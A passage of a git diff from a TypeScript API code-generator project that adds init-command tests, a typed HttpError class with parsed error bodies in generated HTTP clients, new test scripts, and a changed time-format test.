+ const {stdout, error} = await runCommand(`init --config-type=json --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-channels --channels-protocols nats`);
+ expect(error).toBeUndefined();
+ const config = parseEmittedConfig(stdout);
+ const channels = config.generators.find((g: any) => g.preset === 'channels');
+ expect(channels?.protocols).toEqual(['nats']);
+ });
+
+ describe('shouldAskInclude', () => {
+ it('asks when language is typescript (via flags) and the input type supports the preset', () => {
+ expect(
+ shouldAskInclude({
+ preset: 'channels',
+ flags: {languages: 'typescript', inputType: 'asyncapi'},
+ answers: {}
+ })
+ ).toBe(true);
+ });
+
+ it('honours values arriving through answers when flags are absent', () => {
+ expect(
+ shouldAskInclude({
+ preset: 'payloads',
+ flags: {},
+ answers: {languages: 'typescript', inputType: 'openapi'}
+ })
+ ).toBe(true);
+ });
+
+ it('does not ask when the input type does not support the preset', () => {
+ expect(
+ shouldAskInclude({
+ preset: 'channels',
+ flags: {languages: 'typescript', inputType: 'jsonschema'},
+ answers: {}
+ })
+ ).toBe(false);
+ });
+ });
+
+ describe('deriveGitignoreOutputPaths', () => {
+ it('derives ignore entries from the generators actually built, not the raw flags', () => {
+ const paths = deriveGitignoreOutputPaths([
+ {preset: 'payloads', outputPath: './src/__gen__/payloads'},
+ {preset: 'channels', outputPath: './src/__gen__/channels'}
+ ] as any);
+ expect(paths).toEqual([
+ './src/__gen__/payloads',
+ './src/__gen__/channels'
+ ]);
+ });
+
+ it('returns no entries for an empty generator list', () => {
+ expect(deriveGitignoreOutputPaths([])).toEqual([]);
+ });
+ });
+ });
+
describe('gitignore functionality', () => {
it('should accept gitignore-generated flag', async () => {
- const {stdout, stderr, error} = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --gitignore-generated`);
+ const {stdout, stderr, error} = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models --gitignore-generated`);
expect(error).toBeUndefined();
expectNoActualErrors(stderr);
expect(stdout).not.toEqual('');
@@ -332,7 +404,7 @@ describe('init', () => {
});
it('should work without gitignore-generated flag', async () => {
- const {stdout, stderr, error} = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output`);
+ const {stdout, stderr, error} = await runCommand(`init --config-type=esm --input-file='./asyncapi.json' --input-type=asyncapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models`);
expect(error).toBeUndefined();
expectNoActualErrors(stderr);
expect(stdout).not.toEqual('');
@@ -410,7 +482,7 @@ describe('init', () => {
});
it('should handle gitignore-generated with OpenAPI input type', async () => {
- const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./openapi.json' --input-type=openapi --languages=typescript --no-tty --output-directory='./' --no-output --gitignore-generated`);
+ const {stdout, stderr, error} = await runCommand(`init --config-type=json --input-file='./openapi.json' --input-type=openapi --languages=typescript --no-tty --output-directory='./' --no-output --include-models --gitignore-generated`);
expect(error).toBeUndefined();
expectNoActualErrors(stderr);
expect(stdout).toContain('Successfully created your sparkling new generation file');
diff --git a/test/runtime/typescript/package.json b/test/runtime/typescript/package.json
index 0a1f41ef..554e67f1 100644
--- a/test/runtime/typescript/package.json
+++ b/test/runtime/typescript/package.json
@@ -1,8 +1,8 @@
{
"scripts": {
- "test": "npm run test:kafka && npm run test:nats && npm run test:mqtt && npm run test:amqp && npm run test:eventsource && npm run test:websocket && npm run test:http && npm run test:organization",
+ "test": "npm run test:kafka && npm run test:nats && npm run test:mqtt && npm run test:amqp && npm run test:eventsource && npm run test:websocket && npm run test:http && npm run test:organization && npm run test:regular && npm run test:payload-types",
"test:organization": "jest -- ./test/channels/organization/",
- "test:regular": "jest -- ./test/headers.spec.ts ./test/parameters.spec.ts ./test/payloads.spec.ts ./test/types.spec.ts",
+ "test:regular": "jest -- ./test/headers.spec.ts ./test/parameters.spec.ts ./test/payloads.spec.ts ./test/types.spec.ts ./test/jsdoc.spec.ts",
"test:kafka": "jest -- ./test/channels/regular/kafka.spec.ts",
"test:nats": "npm run test:nats:client && npm run test:nats:channels",
"test:nats:channels": "jest -- ./test/channels/**/nats.spec.ts",
diff --git a/test/runtime/typescript/src/openapi-path-organization/channels/http_client.ts b/test/runtime/typescript/src/openapi-path-organization/channels/http_client.ts
index 98c1ed43..7a7cbc7c 100644
--- a/test/runtime/typescript/src/openapi-path-organization/channels/http_client.ts
+++ b/test/runtime/typescript/src/openapi-path-organization/channels/http_client.ts
@@ -41,6 +41,27 @@ export interface HttpClientResponse {
rawData: Record;
}
+/**
+ * Error thrown for non-OK HTTP responses.
+ *
+ * Carries the HTTP `status`, `statusText`, and the parsed response `body`
+ * (when the error response had a JSON body). Thrown by `handleHttpError` and
+ * routed through the `onError` hook / retry logic unchanged.
+ */
+export class HttpError extends Error {
+ status: number;
+ statusText: string;
+ body?: unknown;
+
+ constructor(message: string, status: number, statusText: string, body?: unknown) {
+ super(message);
+ this.name = 'HttpError';
+ this.status = status;
+ this.statusText = statusText;
+ this.body = body;
+ }
+}
+
/**
* HTTP request parameters passed to the request hook
*/
@@ -389,20 +410,20 @@ async function executeWithRetry(
}
/**
- * Handle HTTP error status codes with standardized messages
+ * Handle HTTP error status codes by throwing a typed HttpError.
+ * Explicit cases are generated from the error status codes declared by the
+ * input document; undeclared codes fall through to the default handler.
*/
-function handleHttpError(status: number, statusText: string): never {
+function handleHttpError(status: number, statusText: string, body?: unknown): never {
switch (status) {
- case 401:
- throw new Error('Unauthorized');
- case 403:
- throw new Error('Forbidden');
+ case 400:
+ throw new HttpError("Bad Request", status, statusText, body);
case 404:
- throw new Error('Not Found');
- case 500:
- throw new Error('Internal Server Error');
+ throw new HttpError("Not Found", status, statusText, body);
+ case 405:
+ throw new HttpError("Method Not Allowed", status, statusText, body);
default:
- throw new Error(`HTTP Error: ${status} ${statusText}`);
+ throw new HttpError(`HTTP Error: ${status} ${statusText}`, status, statusText, body);
}
}
@@ -628,7 +649,7 @@ export interface AddPetContext extends HttpClientContext {
async function addPet(context: AddPetContext): Promise> {
// Apply defaults
const config = {
- baseUrl: 'http://localhost:3000',
+ baseUrl: 'http://petstore.swagger.io/v2',
...context,
};
@@ -700,7 +721,8 @@ async function addPet(context: AddPetContext): Promise>
// Handle error responses
if (!response.ok) {
- handleHttpError(response.status, response.statusText);
+ const errorBody = await response.json().catch(() => undefined);
+ handleHttpError(response.status, response.statusText, errorBody);
}
// Parse response
@@ -739,7 +761,7 @@ export interface UpdatePetContext extends HttpClientContext {
async function updatePet(context: UpdatePetContext): Promise> {
// Apply defaults
const config = {
- baseUrl: 'http://localhost:3000',
+ baseUrl: 'http://petstore.swagger.io/v2',
...context,
};
@@ -811,7 +833,8 @@ async function updatePet(context: UpdatePetContext): Promise undefined);
+ handleHttpError(response.status, response.statusText, errorBody);
}
// Parse response
@@ -851,7 +874,7 @@ export interface FindPetsByStatusAndCategoryContext extends HttpClientContext {
async function findPetsByStatusAndCategory(context: FindPetsByStatusAndCategoryContext): Promise> {
// Apply defaults
const config = {
- baseUrl: 'http://localhost:3000',
+ baseUrl: 'http://petstore.swagger.io/v2',
...context,
};
@@ -924,7 +947,8 @@ async function findPetsByStatusAndCategory(context: FindPetsByStatusAndCategoryC
// Handle error responses
if (!response.ok) {
- handleHttpError(response.status, response.statusText);
+ const errorBody = await response.json().catch(() => undefined);
+ handleHttpError(response.status, response.statusText, errorBody);
}
// Parse response
diff --git a/test/runtime/typescript/src/openapi-primitive/channels/http_client.ts b/test/runtime/typescript/src/openapi-primitive/channels/http_client.ts
index c2a5bf7f..22ed0948 100644
--- a/test/runtime/typescript/src/openapi-primitive/channels/http_client.ts
+++ b/test/runtime/typescript/src/openapi-primitive/channels/http_client.ts
@@ -32,6 +32,27 @@ export interface HttpClientResponse {
rawData: Record;
}
+/**
+ * Error thrown for non-OK HTTP responses.
+ *
+ * Carries the HTTP `status`, `statusText`, and the parsed response `body`
+ * (when the error response had a JSON body). Thrown by `handleHttpError` and
+ * routed through the `onError` hook / retry logic unchanged.
+ */
+export class HttpError extends Error {
+ status: number;
+ statusText: string;
+ body?: unknown;
+
+ constructor(message: string, status: number, statusText: string, body?: unknown) {
+ super(message);
+ this.name = 'HttpError';
+ this.status = status;
+ this.statusText = statusText;
+ this.body = body;
+ }
+}
+
/**
* HTTP request parameters passed to the request hook
*/
@@ -406,21 +427,12 @@ async function executeWithRetry(
}
/**
- * Handle HTTP error status codes with standardized messages
+ * Handle HTTP error status codes by throwing a typed HttpError.
+ * Explicit cases are generated from the error status codes declared by the
+ * input document; undeclared codes fall through to the default handler.
*/
-function handleHttpError(status: number, statusText: string): never {
- switch (status) {
- case 401:
- throw new Error('Unauthorized');
- case 403:
- throw new Error('Forbidden');
- case 404:
- throw new Error('Not Found');
- case 500:
- throw new Error('Internal Server Error');
- default:
- throw new Error(`HTTP Error: ${status} ${statusText}`);
- }
+function handleHttpError(status: number, statusText: string, body?: unknown): never {
+ throw new HttpError(`HTTP Error: ${status} ${statusText}`, status, statusText, body);
}
/**
@@ -714,7 +726,8 @@ async function getEcho(context: GetEchoContext = {}): Promise undefined);
+ handleHttpError(response.status, response.statusText, errorBody);
}
// Parse response
@@ -822,7 +835,8 @@ async function getCount(context: GetCountContext = {}): Promise undefined);
+ handleHttpError(response.status, response.statusText, errorBody);
}
// Parse response
diff --git a/test/runtime/typescript/src/openapi-tag-organization/channels/http_client.ts b/test/runtime/typescript/src/openapi-tag-organization/channels/http_client.ts
index 98c1ed43..7a7cbc7c 100644
--- a/test/runtime/typescript/src/openapi-tag-organization/channels/http_client.ts
+++ b/test/runtime/typescript/src/openapi-tag-organization/channels/http_client.ts
@@ -41,6 +41,27 @@ export interface HttpClientResponse {
rawData: Record;
}
+/**
+ * Error thrown for non-OK HTTP responses.
+ *
+ * Carries the HTTP `status`, `statusText`, and the parsed response `body`
+ * (when the error response had a JSON body). Thrown by `handleHttpError` and
+ * routed through the `onError` hook / retry logic unchanged.
+ */
+export class HttpError extends Error {
+ status: number;
+ statusText: string;
+ body?: unknown;
+
+ constructor(message: string, status: number, statusText: string, body?: unknown) {
+ super(message);
+ this.name = 'HttpError';
+ this.status = status;
+ this.statusText = statusText;
+ this.body = body;
+ }
+}
+
/**
* HTTP request parameters passed to the request hook
*/
@@ -389,20 +410,20 @@ async function executeWithRetry(
}
/**
- * Handle HTTP error status codes with standardized messages
+ * Handle HTTP error status codes by throwing a typed HttpError.
+ * Explicit cases are generated from the error status codes declared by the
+ * input document; undeclared codes fall through to the default handler.
*/
-function handleHttpError(status: number, statusText: string): never {
+function handleHttpError(status: number, statusText: string, body?: unknown): never {
switch (status) {
- case 401:
- throw new Error('Unauthorized');
- case 403:
- throw new Error('Forbidden');
+ case 400:
+ throw new HttpError("Bad Request", status, statusText, body);
case 404:
- throw new Error('Not Found');
- case 500:
- throw new Error('Internal Server Error');
+ throw new HttpError("Not Found", status, statusText, body);
+ case 405:
+ throw new HttpError("Method Not Allowed", status, statusText, body);
default:
- throw new Error(`HTTP Error: ${status} ${statusText}`);
+ throw new HttpError(`HTTP Error: ${status} ${statusText}`, status, statusText, body);
}
}
@@ -628,7 +649,7 @@ export interface AddPetContext extends HttpClientContext {
async function addPet(context: AddPetContext): Promise> {
// Apply defaults
const config = {
- baseUrl: 'http://localhost:3000',
+ baseUrl: 'http://petstore.swagger.io/v2',
...context,
};
@@ -700,7 +721,8 @@ async function addPet(context: AddPetContext): Promise>
// Handle error responses
if (!response.ok) {
- handleHttpError(response.status, response.statusText);
+ const errorBody = await response.json().catch(() => undefined);
+ handleHttpError(response.status, response.statusText, errorBody);
}
// Parse response
@@ -739,7 +761,7 @@ export interface UpdatePetContext extends HttpClientContext {
async function updatePet(context: UpdatePetContext): Promise> {
// Apply defaults
const config = {
- baseUrl: 'http://localhost:3000',
+ baseUrl: 'http://petstore.swagger.io/v2',
...context,
};
@@ -811,7 +833,8 @@ async function updatePet(context: UpdatePetContext): Promise undefined);
+ handleHttpError(response.status, response.statusText, errorBody);
}
// Parse response
@@ -851,7 +874,7 @@ export interface FindPetsByStatusAndCategoryContext extends HttpClientContext {
async function findPetsByStatusAndCategory(context: FindPetsByStatusAndCategoryContext): Promise> {
// Apply defaults
const config = {
- baseUrl: 'http://localhost:3000',
+ baseUrl: 'http://petstore.swagger.io/v2',
...context,
};
@@ -924,7 +947,8 @@ async function findPetsByStatusAndCategory(context: FindPetsByStatusAndCategoryC
// Handle error responses
if (!response.ok) {
- handleHttpError(response.status, response.statusText);
+ const errorBody = await response.json().catch(() => undefined);
+ handleHttpError(response.status, response.statusText, errorBody);
}
// Parse response
diff --git a/test/runtime/typescript/src/openapi/channels/http_client.ts b/test/runtime/typescript/src/openapi/channels/http_client.ts
index 5a2dc4ed..523e0331 100644
--- a/test/runtime/typescript/src/openapi/channels/http_client.ts
+++ b/test/runtime/typescript/src/openapi/channels/http_client.ts
@@ -649,7 +649,7 @@ export interface AddPetContext extends HttpClientContext {
async function addPet(context: AddPetContext): Promise> {
// Apply defaults
const config = {
- baseUrl: 'http://localhost:3000',
+ baseUrl: 'http://petstore.swagger.io/v2',
...context,
};
@@ -761,7 +761,7 @@ export interface UpdatePetContext extends HttpClientContext {
async function updatePet(context: UpdatePetContext): Promise> {
// Apply defaults
const config = {
- baseUrl: 'http://localhost:3000',
+ baseUrl: 'http://petstore.swagger.io/v2',
...context,
};
@@ -874,7 +874,7 @@ export interface FindPetsByStatusAndCategoryContext extends HttpClientContext {
async function findPetsByStatusAndCategory(context: FindPetsByStatusAndCategoryContext): Promise> {
// Apply defaults
const config = {
- baseUrl: 'http://localhost:3000',
+ baseUrl: 'http://petstore.swagger.io/v2',
...context,
};
diff --git a/test/runtime/typescript/test/payload-types/formats.spec.ts b/test/runtime/typescript/test/payload-types/formats.spec.ts
index 666eb21b..f0553edc 100644
--- a/test/runtime/typescript/test/payload-types/formats.spec.ts
+++ b/test/runtime/typescript/test/payload-types/formats.spec.ts
@@ -220,10 +220,10 @@ describe('Format Validation', () => {
expect(serialized).toBe('"1970-01-01T10:30:00.000Z"');
});
- test('should unmarshal to Date object', () => {
- // Time string gets wrapped with date context
+ test('should unmarshal to a time string', () => {
+ // `format: time` has no JS Date representation, so it stays a string.
const result = FormatTime.unmarshal('"10:30:00"');
- expect(result).toBeInstanceOf(Date);
+ expect(result).toBe('10:30:00');
});
test('should validate correct time', () => {